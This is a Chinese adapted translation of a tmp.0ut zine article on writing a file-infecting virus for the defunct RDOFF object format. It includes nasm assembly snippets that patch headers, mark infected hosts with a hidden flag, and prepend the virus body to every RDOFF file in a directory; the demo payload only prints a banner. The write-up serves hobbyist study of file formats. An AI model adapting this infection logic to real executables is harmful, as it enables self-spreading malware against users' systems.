本文根据 tmp.0ut 第五期中 netspooky 的文章编译整理,非逐字翻译;文中观点均属于原作者。

原文:RDOFF Virus

文章内容来自 tmpout.sh,本译文依原站 CC BY-NC-SA 4.0 许可作为改编内容发布。如有侵权请通知,我会下架文章。 全文字符数:6134

引言

为了 BGGP6,作者研究了 RDOFF——一种原本用来测试 nasm 目标文件生成的冷门目标文件格式。RDOFF v1 随 nasm 0.91 于 1997 年首次发布;RDOFF2 于 2002 年底加入,扩展了既有实现的功能。格式的内部结构成为 nasm 文件生成管线的承重代码,每当其他输出格式需要改动时,它也会被重做(详见第一部分)。

RDOFF 在 nasm 2.16 中从仓库移除。生成 .rdf 文件的代码多年来一直没有正常工作,尽管 nasm 帮助文件仍收录它、其他汇编器也宣称兼容该格式。作者在网上找不到任何 RDOFF 示例文件,于是用 scapy 自己写了解析器与生成器。

修补 nasm 的 rdx 加载器、把 RDOFF 复活为可执行格式后,作者开始设想:如果这种格式曾被广泛使用会怎样?tmp.0ut 写的多是 ELF 的狡猾用法;ELF 吸收了 Linux 等平台支持的各种安全特性,也有一堆探索其内部与运行时的工具,生态经过多年酝酿。RDOFF 没有这些——事实上它不完整,许多宣传的功能从未实现。

于是,带着对“一个没人关心也没人使用的、不完整且过时的文件格式”的深刻理解,作者决定写一个 RDOFF 病毒。格式简单,病毒不需要花哨的东西。作者说:“让我们假装现在是 2002 年,做一个邪恶的 RDOFF!”

环境搭建

全部在 Ubuntu 22.04 x86_64 上测试:

sudo apt install autoconf automake build-essential binfmt-support

git clone -b nasm-2.15-rdoff-x64 https://github.com/netspooky/nasm
cd nasm
./autogen.sh
./configure
make everything

注册 binfmt(把解释器路径改成你构建 nasm 的位置):

echo ":.rdf:M::RDOFF2::/home/user/nasm/rdoff/rdx:" > /etc/binfmt.d/rdf.conf

binfmt 注册串语法为 :name:type:offset:magic:mask:interpreter:flags。重启服务并确认注册:

sudo systemctl restart systemd-binfmt
cat /proc/sys/fs/binfmt_misc/.rdf
enabled
interpreter /home/user/nasm/rdoff/rdx
flags: 
offset 0
magic 52444f464632

测试:第一部分里的 global.rdf 应返回 6:

./global.rdf ; echo $?
6

RDOFF 结构

global.rdf 的文件结构(十六进制布局已省略,要点如下):

RDOFF2 magic | obj_len | hdr_len
├── Global Header:hdr type=global,指向 "_main" 标签与偏移
├── BSS Header:hdr type=bss,声明 bss 大小
├── Text Segment:seg type=text、seg number、长度,后跟代码
├── Data Segment:seg type=data、长度,后跟数据
└── Padding

一般结构是:RDOFF magic、文件长度、文件头(长度、描述 Global 与 BSS 的子头)、文本段头(代码)、BSS 段头(数据)。主头里两个子头描述 text 与 bss 两个段——这是 rdx 加载器支持的全部段类型。

命名有些不一致:文本段的子头主要叫 “global” section header,代码里有些地方叫 “extern”,另一些叫 “public”。关键信息是:该头描述了文本段相对 RDOFF 头末尾的偏移,并带标签 _main——_main 基本就是代码起始处的符号名,类似其他代码里的 _start。这个头指向的文本段有自己的头,包含长度与段号。BSS 头描述 BSS(又名 “Data”)段,但没有显式偏移;数据段是加载器要求的,但作者的程序用不到,里面放着字符 “6”。

文本段与数据段的结构和日常见到的 ELF、PE 可执行文件没有本质不同;关键差异是文本段在代码开始前紧挨着一个自己的小头。

病毒构思

引用 dnz 的话:“我们怎么给这个开后门?”

如第一部分所述,nasm 里的 RDOFF 解析器相当“怎么讲呢”。RDOFF 的代码与文档描述了很多特性,但实现的很少;完整实现的组件更少,大多是模板式解析然后打印 “Not supported yet”。大部分代码自 2002 年后就没动过,除了风格修正与库重命名。要给文件开后门,必须理解加载器与解析工具真正在乎什么。

第一个想法:在文件末尾加一个额外段,映射到 _main 文本段旁边、最好在它之前。这需要重写文件头以加入新文本段,并调整 _main 头的偏移指向病毒代码;病毒还要保留原入口点、结束后调用它。加载器支持这样做,但工作量大得多。

更简单的方案是基础文本感染:病毒把自己插到文本段开头,确保继续执行前先清理好现场。让这更简单的是:描述 _main 文本段的 global 头没有指定大小,只有偏移——不像 ELF 那样程序头同时描述文件内与内存中的段大小;实际大小存在段头里(由 global 头的偏移指向)。因此只要 payload 从文本段偏移 0(头结束后立即开始)处开始,就会先于其他任何代码触发,然后只需继续执行进主代码。

这个方法只需更新几个字段:

  • RDOFF 头之后的文件大小;
  • 文本段头里的段长度字段;
  • 某个表示“文件已被感染”的标记。

因为完全没有任何人用 RDOFF,而 rdx 加载器又已被改成支持 x64,作者自行假定:任何 RDOFF 只会有一个文本段和一个数据段,头偏移因此保持不变。这大大简化了病毒技术的演示。

病毒逻辑

要更新的两个长度字段很容易。难点是选择感染标记的位置。

通常希望标记隐蔽:对 ELF,应藏在工具常解析的字段之外——许多 ELF 病毒用 ELF 头的填充区存数据,这样 readelf 之类基础工具的输出里不会出现。解析 RDOFF 的类 readelf 工具只有随 nasm 源码发布的 rdfdump。作者最初想用 Text Segment 的 Reservd 字段(没人用),但它会出现在 rdfdump 输出里——不过作者随即自嘲:“等等哈哈,什么分析师???”即使没人找这些文件,用 stock 工具看不到的字段仍然更稳妥,于是选中 global header 的 flags 字段。

这个 e.flags 值在 rdf_relocate() 映射段时被显式设为 0:

case 3:                /* export record - add to symtab */
    e.segment = r->e.segment;
    e.offset = r->e.offset + (e.segment == 0 ? m->textrel :     /* 0 -> code */
                              e.segment == 1 ? m->datarel :     /* 1 -> data */
                              m->bssrel);       /* 2 -> bss  */
    e.flags = 0; // e.label) + 1);
    if (!e.name)
        return 1;

    strcpy(e.name, r->e.label);
    symtabInsert(m->symtab, &e);
    break;

段 flags 不出现在 rdfdump 输出里,隐蔽得多。病毒更新文件前后的映射:

┌─ RDOFF ─────────┐            ┌─ 已感染 RDOFF ────────┐
│ obj_len ────────│── update ──│─>obj_len + VX_SIZE    │
│ global header   │            │ global header         │
│   flags = 0 ────│─── mark ───│─────>flags = 0x55     │
│ bss header      │            │ bss header            │
│ text segment    │            │ text segment          │
│   len ──────────│── update ──│─────>len + VX_SIZE    │
│   code          │  ┌── add ──│─────>VX_CODE          │
│ data segment    │  │         │      code             │
└─────────────────┘  │         │ data segment          │
                     │         └───────────────────────┘
    VX_CODE ─────────┘

基础文件

作者决定用 nasm 自己生成基础文件——既然 nasm 即便打了补丁也产不出 RDOFF 文件,那就用它生成 raw binary 并在代码里手工构造文件结构,避免“字节精确到位”的痛苦;附加好处是每次构建都能生成描述全部符号的 map 文件,方便调试。

基础代码创建所需头(节选):

[map all mybin.map]
BITS 64
; RDOFF -----------------
rdf_begin:
  db "RDOFF2"                ; 0x00 magic

obj_len:
  dd end_rdf - hdr           ; 0x06 obj_len
hdr:
  dd 0x14                    ; 0x0A hdr_len

global_header:
  db 0x3                     ; 0x0E hdr_type: global
  db 0xC                     ; 0x0F hdr_len: 12
  db 0x55                    ; 0x10  flags: 0x55 = 不要感染
  db 0                       ; 0x11  segment: 0
  dd 0                       ; 0x12  offset: 0
  db "_main", 0              ; 0x16 label

bss_header:
  db 0x5                     ; 0x1C type: bss
  db 0x4                     ; 0x1D len: 4
  dd 1                       ; 0x1E bss_size: 1

seg_hdr_text:
  dw 1                       ; 0x22 seg_type: text
  dw 0                       ; 0x24 seg_number: 0
  dw 0                       ; 0x26 seg_resrvd: 0

seg_code_size:
  dd seg_hdr_data - seg_code ; 0x28 seg_length: 12 bytes

之后还要加自己的代码遍历目录并感染文件。

调试

调试这段代码不容易:必须考虑 rdx 加载器先为 RDOFF 文件搭好进程映像再执行它。把下面内容放进 script.gdb:

break main
start
continue
break 89
continue
break *0x40000000
continue

然后这样运行 rdx:

gdb -x script.gdb --args ~/nasm/rdoff/rdx test.rdf

它会直接带你到 RDOFF 文件代码的开头。

改编 Linux.Nasty.asm

病毒思路很直白,实际上比针对 ELF 的病毒容易得多:路径基本相同,只是文件结构要按 RDOFF 调整。作者翻旧 tmp.0ut 找灵感与可复用逻辑,决定重新实现 TMZ 2020 年的 Linux.Nasty.asm——一个遍历目录里文件的 ELF 感染器,正好是所需。作者喜欢它写得干净、注释好、并且“我知道它能跑”;不想自己重写的就是目录解析逻辑,于是以此为起点。

TMZ 原代码用 fasm,作者用 nasm,所以有些地方要改。除移除 ELF 特定部分、调整数据引用方式外,主要新增一个用于计算各偏移的 RDOFF 结构(需要关心的字段已注释):

struc RDOFF
    .magic             resb 6
    .obj_len           resd 1 ; update
    .hdr_len           resd 1
    .global_hdr_type   resb 1
    .global_hdr_len    resb 1
    .global_hdr_flags  resb 1 ; check
    .global_hdr_seg    resb 1
    .global_hdr_offset resd 1
    .global_hdr_label  resb 6
    .bss_hdr_type      resb 1
    .bss_hdr_len       resb 1
    .bss_hdr_bss_size  resd 1
    .seg_txt_type      resw 1
    .seg_txt_number    resw 1
    .seg_txt_resrvd    resw 1
    .seg_txt_length    resd 1 ; update
endstruc

nasm 会为结构自动生成总长度变量,这里即 RDOFF_size,为 0x2C。目录解析代码就位后,解析与更新字段的逻辑很简单:

.patch_rdoff_top:
    add dword [r14 + RDOFF.obj_len], V_SIZE         ;; 更新 obj_len
    mov byte [r14 + RDOFF.global_hdr_flags], 0x55   ;; 用 0x55 标记文件
    add dword [r14 + RDOFF.seg_txt_length], V_SIZE  ;; 更新文本段长度

更新头后,把缓冲区里原文件的前 0x2C 字节复制到新文件:

.copy_rdoff_top:
    mov rdi, r13                    ; 目标 fd
    mov rsi, r14                    ; mmap *buff
    mov rdx, RDOFF_size             ;; RDOFF 头大小
    mov rax, SYS_WRITE              ;; 把修补后的 RDOFF 头写入宿主
    syscall

然后把病毒主体写到宿主。TMZ 的代码用 call/pop/sub 技巧计算基址;大小由 nasm 构建期计算的 V_SIZE 给出:

.write_virus_body:
    call .delta                     ; 古老的技巧
    .delta:
        pop rax
        sub rax, .delta

    mov rdi, r13                    ; 目标临时 fd
    lea rsi, [rax + v_start]        ; 载入 *v_start
    mov rdx, V_SIZE                 ; 病毒主体大小
    mov rax, SYS_WRITE
    syscall

病毒代码已复制到文本段开头,接着从代码里定义的 RDOFF 结构末尾(偏移 0x2C)复制文件其余部分,最后 sync 把改动落盘:

.write_everything_else:
    mov rdi, r13
    lea rsi, [r14 + RDOFF_size]     ;; 直接定位到 RDOFF 代码开头
    mov rdx, [r15 + STAT.st_size]   ; 从栈取得宿主文件大小
    sub rdx, RDOFF_size
    mov rax, SYS_WRITE              ;; 把宿主文件其余部分写入临时文件
    syscall

    mov rax, SYS_SYNC               ; 把文件系统缓存落盘
    syscall

至此,这个 RDOFF 文件能感染当前目录里的每个 RDOFF 文件。测试确认符合预期:

▶ ./example-program.rdf
This is an example program!

▶ ./virus.rdf
(打印 ASCII banner:greetings 2 the haunted computer club)

▶ ./example-program.rdf
(先打印 banner,再打印 This is an example program!)

结论

作者想为 RDOFF 写一个简单病毒,展示简单的感染技术。这个文件格式真的没人用——连创造者都不用;他为 BGGP6 创建的 RDOFF 文件仍是网上仅见的示例。这段代码(大概)是唯一存在的 RDOFF 病毒。作者不打算维护 nasm 2.15 的 rdx 或任何 RDOFF 工具,但如果这让你兴奋,你可以自己玩。

致谢:TMZ(写出经得起时间考验的漂亮代码)、tmp.0ut 团队与社区、binary golf 社区、haunted computer club,以及所有喜欢摆弄没人关心的东西的人——KEEP EXPLORING!

参考

  1. BGGP6 RDOFF 文章
  2. netspooky 的 RDOFF.py
  3. 打过补丁的 nasm rdoff 分支
  4. DJ Sammy – Heaven
  5. rdfload.c 中 flags 置零处
  6. Linux.Nasty.asm(tmp.0ut 1)

附录:virus.asm

原文附录给出完整病毒源码(RDOFF 结构注释、常量、目录遍历与感染逻辑),此处保留了正文讨论的关键片段;需要完整源文件请查看原页底部附录。


上一页:借助可达性分析实现自解压

下一页:BGGP6 回顾:用最少字节呈现数字 6